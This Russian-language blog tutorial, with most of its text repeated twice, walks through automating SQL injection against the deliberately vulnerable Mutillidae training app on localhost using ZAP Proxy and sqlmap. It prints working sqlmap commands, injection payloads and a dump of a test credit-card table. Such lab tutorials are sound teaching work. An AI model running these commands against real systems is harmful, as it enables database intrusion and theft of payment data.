В моей любимой компьютерной игре Quest for Glory 2: Trial by Fire, когда мир в очередной раз оказывается в опасности, главный герой попадает в Университет волшебников. После успешного прохождения вступительных испытаний бородатые мудрые волшебники предлагают поступить в этот Университет, потому что, окончив его, мы разберемся во всех тонкостях магии, изучим все заклинания и тогда уже точно спасем своих друзей и победим мировое зло. Проблема только в том, что учиться предстоит 15-20 лет, а за это время силы зла успеют победить и не один раз.
Я каждый раз невольно вспоминаю этот эпизод, когда передо мной оказывается очередная интересная книга или кипа технической документации. Про тайм-менеджмент написана куча книг, но для меня это сводится к простой формуле: разобрался в основах, разобрал примеры – дальше только автоматизация!
Теперь, когда мы примерно представляем, как работают инъекции, так почему бы не попробовать упростить себе жизнь и еще раз разобрать какой-нибудь прошлый пример, но уже с помощью дополнительного программного обеспечения. Нам потребуется два инструмента:
Sqlmap – инструмент, которой позволяет автоматизировать поиск и эксплуатацию уязвимостей в SQL и ZAP Proxy – локальный прокси-сервер, который нужен для анализа трафика между браузером в веб-сервером.
Опять нужно упомянуть, что это не единственные подобные инструменты, и наверняка в соседнем блоге вам убедительно докажут, что вместо sqlmap нужно разобраться с sqlninja, а на ZAP тратить время не нужно, когда есть Burp. Спорить ни с кем не стану.
Облегчать жизнь мы себе начнем с перехвата трафика между клиентом и веб-сервером. Полученные данные будут использованы в качестве параметров для sqlmap. По большому счету, в качестве такого параметра может выступать и URL уязвимого приложения, но сейчас данные с прокси будут для нас нагляднее.
Работать будем всё с тем же примером из A1, который мы разбирали в предыдущей статье («SQLi – Extract Data» > «User Info (SQL)»).
Зайдем на эту страницу через наш ZAP Proxy и введем какие-нибудь данные. Я понимаю, что велик соблазн уже попробовать что-то из того, что мы изучили, но именно сейчас нужно просто ввести любые заведомо неправильные данные. Я ввожу свои любимые admin/password и получаю в перехвате вот такой запрос:
Здесь нас в первую очередь интересует первая строчка, а именно запрос. Иногда полезно проверить, то ли мы перехватили. Это можно сделать, повторив этот сформированный запрос в том же браузере. Если получим ту же страницу с ошибкой, значит мы на верном пути.
Сохраним наш перехваченный запрос в виде отдельного файла request_sqlmap.txt.
А теперь передадим это файл для анализа в sqlmap:
Параметр –banner нам нужен, чтобы sqlmap попробовал определить, с какой СУБД мы имеем дело. В нашем примере это не так важно, но на практике вы сможете ускорить тестирование, не отвлекаясь на аспекты других СУБД, которые не применимы к вашей цели.
Сканирование успешно завершено, и мы еще раз увидели, то, что в общем-то и так знали:
Кроме этого, sqlmap определил, что мы имеем дело с mysql, а точнее его форком. Теперь давайте посмотрим, какие базы данных есть на сервере:
Здесь и далее мы будем указывать в качестве параметра для sqlmap наш файл перехвата. Кроме этого, мы укажем параметры, которые уже знаем: тип СУБД, а также ключ -dbs, чтобы получить данные о существующих базах данных:
Отлично. Обычно базам дают какие-то осмысленные названия, либо они создаются автоматически при установке приложений. Принцип «Security by obscurity», конечно, никто не отменял, но это скорее исключение, чем правило. Самое интересное в нашем, случае судя по всему, это база mutillidae, посмотрим из чего она состоит:
Здесь к известным нам вещам мы добавим нужную СУБД и ключ –tables, чтобы посмотреть на таблицы этой базе:
Уже неплохо. Особенно многообещающей выглядит таблица credit_cards. Заглянем в нее:
и получим:
Ого, да тут целая таблица, где должны храниться данные о кредитных картах! Раз уж пришли, давайте заглянем в эту таблицу:
Упс:
Вот и они, наши кредитные карты. У вас в голове сейчас должны прозвучать два вопроса: как это работает, и откуда все эти данные?
Как это работает? Ну строго говоря, так же, как если бы вы перебирали все возможные варианты, пытаясь наугад проэксплуатировать ту или иную уязвимость.
А вот откуда данные, вопрос к администратору, который разместил такие важные сведения в таком неподходящем месте.
У sqlmap десятки параметров, которые мы не можем разобрать в одной статье. Но и задача моих статей – познакомить с решением, а дальше уже дело за вами. Попробуйте на досуге так же покопать остальные базы и поэкспериментировать с параметрами, возможно, кредитные карты – это не самое интересное. =)
Прочитать блог автора статьи можно по этой ссылке.
Я каждый раз невольно вспоминаю этот эпизод, когда передо мной оказывается очередная интересная книга или кипа технической документации. Про тайм-менеджмент написана куча книг, но для меня это сводится к простой формуле: разобрался в основах, разобрал примеры – дальше только автоматизация!
Теперь, когда мы примерно представляем, как работают инъекции, так почему бы не попробовать упростить себе жизнь и еще раз разобрать какой-нибудь прошлый пример, но уже с помощью дополнительного программного обеспечения. Нам потребуется два инструмента:
Sqlmap – инструмент, которой позволяет автоматизировать поиск и эксплуатацию уязвимостей в SQL и ZAP Proxy – локальный прокси-сервер, который нужен для анализа трафика между браузером в веб-сервером.
Опять нужно упомянуть, что это не единственные подобные инструменты, и наверняка в соседнем блоге вам убедительно докажут, что вместо sqlmap нужно разобраться с sqlninja, а на ZAP тратить время не нужно, когда есть Burp. Спорить ни с кем не стану.
Облегчать жизнь мы себе начнем с перехвата трафика между клиентом и веб-сервером. Полученные данные будут использованы в качестве параметров для sqlmap. По большому счету, в качестве такого параметра может выступать и URL уязвимого приложения, но сейчас данные с прокси будут для нас нагляднее.
Работать будем всё с тем же примером из A1, который мы разбирали в предыдущей статье («SQLi – Extract Data» > «User Info (SQL)»).
Зайдем на эту страницу через наш ZAP Proxy и введем какие-нибудь данные. Я понимаю, что велик соблазн уже попробовать что-то из того, что мы изучили, но именно сейчас нужно просто ввести любые заведомо неправильные данные. Я ввожу свои любимые admin/password и получаю в перехвате вот такой запрос:
GET http://127.0.0.1/mutillidae/index.php?page=user-
info.php&username=admin&password=password&user-info-php-submit-
button=View+Account+Details HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://127.0.0.1/mutillidae/index.php?page=user-info.php
Cookie: showhints=1; PHPSESSID=aqvrdm615sm8k7isopefgbhega
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Host: 127.0.0.1
Здесь нас в первую очередь интересует первая строчка, а именно запрос. Иногда полезно проверить, то ли мы перехватили. Это можно сделать, повторив этот сформированный запрос в том же браузере. Если получим ту же страницу с ошибкой, значит мы на верном пути.
Сохраним наш перехваченный запрос в виде отдельного файла request_sqlmap.txt.
А теперь передадим это файл для анализа в sqlmap:
sqlmap -r reqest_sqlmap.txt --banner
Параметр –banner нам нужен, чтобы sqlmap попробовал определить, с какой СУБД мы имеем дело. В нашем примере это не так важно, но на практике вы сможете ускорить тестирование, не отвлекаясь на аспекты других СУБД, которые не применимы к вашей цели.
[23:19:48] [INFO] GET parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 181 HTTP(s) requests:
---
Parameter: username (GET)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: page=user-info.php&username=admin' AND (SELECT 5399 FROM(SELECT COUNT(*),CONCAT(0x7171707871,(SELECT (ELT(5399=5399,1))),0x71706a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'UUZA'='UUZA&password=password&user-info-php-submit-button=View Account Details
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: page=user-info.php&username=admin' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7171707871,0x4d754c5372467a65665a4c7672636e4c4a554777547162474e666f784e6b69754a43544a41675a50,0x71706a6271),NULL,NULL,NULL-- GGvT&password=password&user-info-php-submit-button=View Account Details
---
[23:20:10] [INFO] the back-end DBMS is MySQL
[23:20:10] [INFO] fetching banner
web server operating system: Windows
web application technology: Apache 2.4.29, PHP 7.2.3
back-end DBMS: MySQL >= 5.0
banner: '10.1.31-MariaDB'
[23:20:10] [INFO] fetched data logged to text files under '/home/belowzero273/.sqlmap/output/127.0.0.1'
Сканирование успешно завершено, и мы еще раз увидели, то, что в общем-то и так знали:
[23:19:48] [INFO] GET parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
Кроме этого, sqlmap определил, что мы имеем дело с mysql, а точнее его форком. Теперь давайте посмотрим, какие базы данных есть на сервере:
sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL --dbs
Здесь и далее мы будем указывать в качестве параметра для sqlmap наш файл перехвата. Кроме этого, мы укажем параметры, которые уже знаем: тип СУБД, а также ключ -dbs, чтобы получить данные о существующих базах данных:
[23:27:19] [WARNING] reflective value(s) found and filtering out
available databases [6]:
[*] information_schema
[*] mutillidae
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test
Отлично. Обычно базам дают какие-то осмысленные названия, либо они создаются автоматически при установке приложений. Принцип «Security by obscurity», конечно, никто не отменял, но это скорее исключение, чем правило. Самое интересное в нашем, случае судя по всему, это база mutillidae, посмотрим из чего она состоит:
sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae --tables
Здесь к известным нам вещам мы добавим нужную СУБД и ключ –tables, чтобы посмотреть на таблицы этой базе:
[23:29:42] [WARNING] reflective value(s) found and filtering out
Database: mutillidae
[13 tables]
+----------------------------+
| accounts |
| balloon_tips |
| blogs_table |
| captured_data |
| credit_cards |
| help_texts |
| hitlog |
| level_1_help_include_files |
| page_help |
| page_hints |
| pen_test_tools |
| user_poll_results |
| youtubevideos |
+----------------------------+
Уже неплохо. Особенно многообещающей выглядит таблица credit_cards. Заглянем в нее:
sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae -T credita_cards --columns
и получим:
[23:31:35] [WARNING] reflective value(s) found and filtering out
Database: mutillidae
Table: credit_cards
[4 columns]
+------------+---------+
| Column | Type |
+------------+---------+
| ccid | int(11) |
| ccnumber | text |
| ccv | text |
| expiration | date |
+------------+---------+
Ого, да тут целая таблица, где должны храниться данные о кредитных картах! Раз уж пришли, давайте заглянем в эту таблицу:
sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae -T credit_cards --dump
Упс:
[23:32:42] [WARNING] reflective value(s) found and filtering out
Database: mutillidae
Table: credit_cards
[5 entries]
+------+-----+----------------------------+-----------------+
| ccid | ccv | ccnumber | expiration |
+------+-----+----------------------------+-----------------+
| 1 | 745 | 4444111122223333 | 2012-03-01 |
| 2 | 722 | 7746536337776330 | 2015-04-01 |
| 3 | 461 | 8242325748474749 | 2016-03-01 |
| 4 | 230 | 7725653200487633 | 2017-06-01 |
| 5 | 627 | 1234567812345678 | 2018-11-01 |
+------+-----+----------------------------+-----------------+
Вот и они, наши кредитные карты. У вас в голове сейчас должны прозвучать два вопроса: как это работает, и откуда все эти данные?
Как это работает? Ну строго говоря, так же, как если бы вы перебирали все возможные варианты, пытаясь наугад проэксплуатировать ту или иную уязвимость.
А вот откуда данные, вопрос к администратору, который разместил такие важные сведения в таком неподходящем месте.
У sqlmap десятки параметров, которые мы не можем разобрать в одной статье. Но и задача моих статей – познакомить с решением, а дальше уже дело за вами. Попробуйте на досуге так же покопать остальные базы и поэкспериментировать с параметрами, возможно, кредитные карты – это не самое интересное. =)
Прочитать блог автора статьи можно по этой ссылке.